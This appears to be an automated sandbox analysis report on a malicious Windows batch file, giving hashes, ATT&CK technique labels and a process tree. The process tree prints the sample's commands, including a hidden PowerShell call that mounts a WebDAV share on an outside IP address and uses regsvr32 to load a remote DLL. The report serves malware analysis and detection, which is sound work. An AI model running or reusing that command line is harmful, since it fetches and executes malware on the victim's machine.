45d8e4a48a5ff656e883d187a14838056407052b46e350de4072bf2fa5392848

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 21:12

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General

Target

21451148921326023313.bat
Size

22KB
MD5

70f22c82ab20c7ae484c58a13a4275b9
SHA1

e03c723291fb418305253c18c09137c7625b4436
SHA256

45d8e4a48a5ff656e883d187a14838056407052b46e350de4072bf2fa5392848
SHA512

6f77e7568b48fca62c951ffc6e3f6b5cddddca7634d8b1168fcd85194566ea75615f0bf07121559219ce4e3abe63513f662153fc5d942ea0bff545977cb4b58f
SSDEEP

384:qMMuF9ewQXf0bY6szNifLeFHTfNSmk4VZG3cEAE4L+/FX6PDfJ4mjVrjHy/Rl1zc:qhuFg6iifLqVSmiJFytjRjSxO/Jv

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5004	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3128	wordpad.exe
3128	wordpad.exe
3128	wordpad.exe
3128	wordpad.exe
3128	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4480 wrote to memory of 3128	4480	cmd.exe	85
PID 4480 wrote to memory of 3128	4480	cmd.exe	85
PID 4480 wrote to memory of 5004	4480	cmd.exe	87
PID 4480 wrote to memory of 5004	4480	cmd.exe	87
PID 5004 wrote to memory of 3744	5004	powershell.exe	89
PID 5004 wrote to memory of 3744	5004	powershell.exe	89
PID 5004 wrote to memory of 4304	5004	powershell.exe	90
PID 5004 wrote to memory of 4304	5004	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\21451148921326023313.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\74951767510860.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3744
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\74951767510860.dll
    3⤵
    PID:4304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r32kiotv.npd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5004-9-0x000001752F8F0000-0x000001752F912000-memory.dmp

Filesize
136KB

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